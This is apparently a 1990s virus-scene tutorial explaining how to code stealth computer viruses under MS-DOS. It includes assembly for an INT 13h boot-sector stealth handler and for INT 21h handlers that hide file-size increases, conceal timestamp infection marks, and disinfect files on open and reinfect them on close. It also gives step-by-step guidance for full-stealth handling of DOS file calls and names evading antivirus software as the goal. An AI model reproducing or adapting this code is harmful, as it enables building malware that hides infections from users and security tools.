In the very beginning of the computer viruses, when a virus was something very curious, there was no need to cover the fact of presence of a virus in files, memory or in boot sectors. But shortly after some people recognized, they can make money by removing viruses, the whole thing become much harder. Of course, there was no problem to code the virus itself, but the problem was to code such a virus, which could not be detected for at least some time by antivirus software. This time was essential for the virus to get in the wild. During the virus history, two basic technologies appeared - STEALTH and POLYMORPHISM. Both technologies are not unknown to the virus writing community and are used in the most succesfull viruses. Main goal of this article is to explain, how does stealth work and how to code a stealth virus.
The STEALTH is the acting by a quiet and secret way, in order to avoid detection or hiding the presence of something. In the case of a computer virus means the stuff above not only to hide the presence of a virus in the place of storage (file or disc sector) but desirably (only in some cases) also to avoid the detection by antivirus software. This could be done only by the absolute control of infected computer's operating system by the virus. Every critical function of operating system should be penetrated and its return(s) changed to the 'normal' values - the values, which one would receive without the presence of virus in the system.
To code really working steath virus is not a trivial task. The author has to be able to create and debug resident code - this is a must !!! The reason is very simple - WITHOUT RESIDENCY CAN'T VIRUS BE STEALTH. Debugging of resident code is very important. Stealth, that doesn't work is absolute lameness. Based on my own experiences, one of the best solutions for TSR debugging is Soft-Ice by Nu-Mega Technologies. With some minor exceptions is Soft-Ice also good for hacking. You 'll need some good description of operating system. In the case of MSDOS you have shitload of possibilities, but probaly the most acurate and most actuall description is the Interrupt List maintained by Ralf Brown. The actual version is now 53. Books 'Undocumented PC' and 'Undocumented DOS' are of good value for our purposes too. Besides the knoledges do not forget to reserve some time for coding and debugging. And now - the show can go on ...
This case of stealth if the simplest one. We 'll have to work with whole sectors, and this is trivial task.
Sector 0/0/1 is MBR in the case of hard drive, on floppy this sector is boot sector. When a boot virus infects this sector, the original contens is moved elsewhere. Let's say, the virus stores the original sector 0/0/1 to sector 0/0/7. This location is in the virus writing community kinda traditional, it is heritage of the Stoned virus. But you can select any other location. After saving the original MBR/boot sector, the virus places own copy to sector 0/0/1. Then, after rebooting, the copy of the virus in sector 0/0/1 will be loaded to memory at adress 0:7C00h and 'll be excecuted. Virus then allocates memory for memory own resident copy, moves itself to "preserved" memory location, always hooks interrupt INT 13h (in some cases also some other interrupts) and then loads and executes stored MBR/boot sector. Woow! the virus is mow resident in memory, and has gained control over INT 13h.
On every disk access virus gets control as first. This is not true in case of disk access using the ports - here the virus can be detected. The main task for viral INT 13h handler is to recirect any attempt to read/write to sector 0/0/1 (where the virus is located) to 0/0/7. Attempts to write to the sector 0/0/7 (now containing the stored MBR/boot sector) should be ignored. If someone 'll try to read sector 0/0/7, we 'll have to put zeroes to his buffer at ES:BX. Then the handler of INT 13h 'll be like this:
int_13h_entry: pushf cmp dl,80h js flopak ; floppy or hard drive ? ; this should hide the presence of ; virus in the MBR push cx or dl,dl jnz OK ; head 0 ? If so, then if cmp cx,1 jnz OK ; track 0 sector 1, check critical ; functions cmp al,1 ja OK ; stealth only when 1 sector read cmp ah,02h ; read jz zvedavec cmp ah,0ah ; long read ( is not necessary ) jz zvedavec cmp ah,03h ; write jz write cmp ah,0bh ; long write (is not necessary ) jnz OK write: zvedavec: mov cl,7 ; redirect R/W to stored MBR OK: call emulINT13h pop cx ; we call original INT 13h with "good ; parameters and we return callers CX ; which covers our tracks jmp short VRATsa flopak: .... ; here 'd be handled floppy access .... ; similar to hard drive access .... VRATsa: popf retf 2 emulINT13h: pushf call dword ptr cs:[original_INT13h] ret
But i have to say, this handle is not the perfect one. It doesn't handle the situation, when more than 1 sector is read or write. In such a case, this handler can be very "unfriendly". Moreover, this handler doesn't preserve the sector with stored MBR/boot sector. But to add such a code in not so hard and it is on you ... I have to say, thay only minority of viruses preserve the stored copy of MBR/boot sector. In most cases this copy 'll not be overwritten...
Number of file viruses with some stealth is greater than that of boot viruses. Principles of stealth for file viruses if as follows:
A. infected file has increased size. This size increas should be not visible.
B. majority of file viruses uses some change in size, or time stamp or whatsoever to mark the file as infected. This change should be :
C. any change in infected file should be not visible. This affects EXE header in the case of EXE files and initial JMP to virus body in the case of COM files, as well as any appended stuff to the file.
D. in the case of complex approach, the presence of memory hole, in which virus resides, should by also hidden.
Viruses, which handle points A+B+C(+D) are full stealth viruses. Viruses, which handles only point A are that so called semi-stealth viruses. Semi-stealth doesn't need a lot of code, and i 'll explain it first.
The main task for semi - stealth virus is to hide the size increase on infected files. This can be easily achieved by cutting the size in DTA after DOS Findfirst / Findnext operations. Such a virus 'll have to handle not only the most common INT 21H/4EH and INT 21H/4FH, used by utilities of type Norton / Volkov Commander, but also DOS FindfirstFCB / FindnextFCB - INT 21H/11H and INT 21H/12H used by DOS command DIR. When operating with FCB, we have to know, that there is difference between FCB and Extended FCB.
Some necessary stuff about DOS data structures you can find below.
Format of File Control Block:
Offset Size Description (Table 0648) -7 BYTE extended FCB if FFh -6 5 BYTEs reserved -1 BYTE file attribute if extended FCB 00h BYTE drive number (0 = default, 1 = A, etc) 01h 8 BYTEs blank-padded file name 09h 3 BYTEs blank-padded file extension 0Ch WORD current block number 0Eh WORD logical record size 10h DWORD file size 14h WORD date of last write (see #0952 at AX=5700h) 16h WORD time of last write (see #0951 at AX=5700h) (DOS 1.1+) 18h 8 BYTEs reserved (see #0649,#0650,#0651,#0652,#0653) 20h BYTE record within current block 21h DWORD random access record number (if record size is > 64 bytes, high byte is omitted)
Note: to use an extended FCB, you must specify the address of the FFh flag at offset -7, rather than the address of the drive number field
Note: if FCB opened on character device, DWORD at 1Ah is set to the address of the device driver header, then the BYTE at 1Ah is overwritten.
Offset Size Description (Table 0652) 18h BYTE number of system file table entry for file 19h BYTE attributes bits 7,6: 00 = SHARE.EXE not loaded, disk file 01 = SHARE.EXE not loaded, character device 10 = SHARE.EXE loaded, remote file 11 = SHARE.EXE loaded, local file or device bits 5-0: low six bits of device attribute word ---SHARE.EXE loaded, local file--- 1Ah WORD starting cluster of file on disk 1Ch WORD (DOS 3.x) offset within SHARE of sharing record (see #0924 at AH=52h) 1Eh BYTE file attribute 1Fh BYTE ??? ---SHARE.EXE loaded, remote file--- 1Ah WORD number of sector containing directory entry 1Ch WORD relative cluster within file of last cluster accessed 1Eh BYTE absolute cluster number of last cluster accessed 1Fh BYTE ??? ---SHARE.EXE not loaded--- 1Ah BYTE (low byte of device attribute word AND 0Ch) OR open mode 1Bh WORD starting cluster of file 1Dh WORD number of sector containing directory entry 1Fh BYTE number of directory entry within sector
Offset Size Description (Table 0653) 18h BYTE number of system file table entry for file 19h BYTE attributes bits 7,6: 00 = SHARE.EXE not loaded, disk file 01 = SHARE.EXE not loaded, character device 10 = SHARE.EXE loaded, remote file 11 = SHARE.EXE loaded, local file or device bits 5-0: low six bits of device attribute word ---SHARE.EXE loaded, local file--- 1Ah WORD starting cluster of file on disk 1Ch WORD unique sequence number of sharing record 1Eh BYTE file attributes 1Fh BYTE unused??? ---SHARE.EXE loaded, remote file--- 1Ah WORD network handle 1Ch DWORD network ID ---SHARE not loaded, local device--- 1Ah DWORD pointer to device driver header 1Eh 2 BYTEs unused??? ---SHARE not loaded, local file--- 1Ah BYTE extra info bit 7: read-only attribute from SFT bit 6: archive attribute from SFT bits 5-0: high bits of sector number 1Bh WORD starting cluster of file 1Dh WORD low word of sector number containing directory entry 1Fh BYTE number of directory entry within sector
Offset Size Description (Table 0913) ---PC-DOS 3.10, PC-DOS 4.01, MS-DOS 3.2/3.3/5.0--- 00h BYTE drive letter (bits 0-6), remote if bit 7 set 01h 11 BYTEs search template 0Ch BYTE search attributes ---DOS 2.x (and some DOS 3.x???)--- 00h BYTE search attributes 01h BYTE drive letter 02h 11 BYTEs search template ---WILDUNIX.COM--- 00h 12 BYTEs 15-character wildcard search pattern and drive letter (packed) 0Ch BYTE search attributes ---DOS 2.x and most 3.x--- 0Dh WORD entry count within directory 0Fh DWORD pointer to DTA??? 13h WORD cluster number of start of parent directory ---PC-DOS 4.01, MS-DOS 3.2/3.3/5.0--- 0Dh WORD entry count within directory 0Fh WORD cluster number of start of parent directory 11h 4 BYTEs reserved ---all versions, documented fields--- 15h BYTE attribute of file found 16h WORD file time (see #0951 at AX=5700h) 18h WORD file date (see #0952 at AX=5700h) 1Ah DWORD file size 1Eh 13 BYTEs ASCIZ filename+extension
int_21: .... cmp ah,11h ; this is a part of viral ; INT 21h handler je DIR_STEALTH cmp ah,12h je DIR_STEALTH cmp ah,4eh je DTA_STEALTH cmp ah,4fh je DTA_STEALTH .... ; here handler continiues DIR_STEALTH: call dos_emu ; call original DOS handler of ; INT 21h pushf pusha push ds,es or al,al ; was the call successfull? jnz exit_size_fcb mov ah,2fh call dos_emu ; get DTA adress to ES:BX push es pop ds cmp byte ptr [bx],0ff jne FCB_not_extended add bx,7 FCB_not_extended: call test_4_executable jc exit_size_fcb ; if not executable, exit call test_4_infection jc exit_size_fcb ; if not infected, exit call test_min_size jc exit_size_fcb ; skip 2 small files sub word ptr [bx+1dh],virus_size sbb word ptr [bx+1fh],0 exit_size_fcb: pop es pop ds popa popf retf 2 DTA_STEALTH: call dos_emu ; call original DOS handler of ; INT 21h pushf pusha push ds,es or al,al ; was the call successfull? jnz exit_size_fcb mov ah,2fh call dos_emu ; get DTA adress to ES:BX push es pop ds call test_4_executable jc exit_size_dta ; if not executable, exit call test_4_infection jc exit_size_dta ; if not infected, exit call test_min_size jc exit_size_dta ; skip 2 small files sub word ptr [bx+1ah],virus_size sbb word ptr [bx+1ch],0 exit_size_dta: pop es pop ds popa popf retf 2
To demonstrate the stealth of infection mark, here is some piece of code. It was designed for virus, which uses as mark seconds in timestamp = 28. This handler doesn't cover the situation, where someone tries to get timestamp. In the case of coplex approach, this situation can be hadled too. But the user most likely will not notice any change ... And so this code seems to be optimal.
int_21: .... cmp ah,57h ; this is a part of viral ; INT 21h handler je fn_time .... ; here handler continiues fn_time: or al,al ; get time ? je bye1 ; that we don't handle pusha push es call test_4_executable jc fn_time_exit0 ; not executable , skip push cx call get_time jnc uninfected ; infected ? pop cx ; yes mov ax,cx and ax,1f xor ax,0e je fn_time_exit0 ; 28 seconds ? then let him do it pop es popa push cx and cl,11100000b xor cl,0f jmp set_28 ; otherwise set always 28 fn_time_exit0: pop es popa jmp bye1 uninfected: pop cx mov ax,cx and ax,1f xor ax,0e ; set 28 seconds ? jnz fn_time_exit0 ; no exit set_26: pop es popa push cx dec cx ; set 26 seconds set_28: call dosemu pop cx ; but show 28 popf retf 2 bye1: jmp dword ptr cs:[original_INT21h]
Semi - stealth is for full stealth virii a must. To get a working full stealth virus, there are two different ways.
It is known fact, that to code virus of first type is much more easier as to code the virus of second type. To code viruses of both types requires some experiences, so the code which 'll follow is my well known "meta code".
Here is desired not only the desinfection on open and reinfection on close, but also desinfection on 4B01h - load and do not execute, which is used by some debugers to load file in the memory. Just for lamers i point to 2 imporant things:
Here you have to read the saved stuff from infected file to some memory buffer. Then truncate the file to its uninfected size (by writing 0 bytes to file with file pointer set to the location, where the uninfected file had EOF). And as last, restore the changed stuff from memory buffer and lseek to start of the file. Do not forget, if you alway open file with mode R/W for any DOS call, you may avoid nasty SFT manipulation when reinfecting the file on its closing.
int_21: .... cmp ah,3dh ; this is a part of viral ; INT 21h handler je desinfect cmp ah,3eh je reinfect cmp ah,4bh je infect_file .... ; here handler continiues infect_file: pusha push ds push es or al,al ; 4B00h jnz next call get_bastard ; infect file exit_exec: pop es pop ds popa jmp dword ptr cs:[original_INT21h] next: dec ax jnz exit_exec call open_file_DS_DX ; 4B01h call desinfect1 jmp short exit_exec get_bastard: .... ; stuff deleted call_open_file_DS_DX jc exit_infect get_bastard_handle: .... ; file infection here .... exit_infect: ret desinfect: call open_file_DS_DX pushf pusha push ds push es call desinfect1 pop es pop ds popa popf retf 2 desinfect1: comment ~
~ ..... ; some code :))))
Situation before file is closed is simple... We do not have file name, but we have file handle. So we can use part of code, which is desiged to infect files on execution.
reinfect: pusha push ds push es call lseek_BOF call get_bastard_handle jmp exec_exit
This is most difficult task for every coder (besides some kick-the-ass poly engine). As this problem is very complex, I 'll only explain, what one should do on all critical DOS functions.
Do just normal semi-stealth. But be carefull. In some cases, there is necessary to switch stealth off. Such a case is eg. the call of INT 21h/32h - Get DOS drive parameter block. Such a call is used by software like CHKDSK (all we know this for stealth viruses unfriendly program). To switch stealth on again, just wait for INT 21h/4ch.INT 21h / 4B01h,40h
This is no problem at all. Just desinfect the file. If you are using stealth with SFT manipulation ( SFT stealth ), you 'll have some minor (for someone major problem). But the the help is siple - refer to my "SFT stealth tutorial" for elegant solution. This tutorial you can find in the Insane Reality #8.INT 21h / 3Dh
If you are using SFT stealth, just cut the filesize in SFT here. Then noone can seek to the virus body, because DOS thinks, there is EOF in the location, where was EOF before virus body was appended. Otherwise do nothing.INT 21h / 42h
Do not allow to seek within the virus body. You have to correct all the seeking relative to uninfected filesize. Do not forget to handle all the methods (0,1,2). In other words, just manipulate CX and DX.INT 21h / 3Fh
This 'll be the most difficult part of code. As first check, where is the file pointer located. Just for better imagination, infected file looks like shown here:
If the file pointer is within the "changed stuff", read to their memory buffer data, which should be there, if the file wasn't infected ( from file pointer position to the end of "changed stuff"). Then read the rest of requested amount of bytes. Any reading in the area marked as "rest of infected file" is not dangerous. But if you detect, that the read can reach the virus body, cut the read to "legal" size. ( If you 're using SFT stealth, you do not need to handle this. For DOS, the viral body doesn't exist :)))).INT 21h / 4Ch
Here you can control the execution of some programs. When you wan't to be sure, that some program really ends, you can do it like this.
INT 21h / 57h
Here you can stealth the changes in the time stamp. Do not allow to set stamp to "mark" value, and you can avoid to get the "mark" value by INT 21h / 5700h.
This part is very short. If you want to known the principles and basics, refer to MCB stealth by Darkman in VLAD #6
B. Contra - stealth
The solution is TST. TST is trade mark, owned by Online. TST is Copyright (C) 1995-96 by Terror-6. But i am afraid, you 'll have to wait for Terror's next virus.
Some form of stealth is good in the beginning of infection. It helps to spread the virus. But on the other hand, stealth has some major disadvanteges.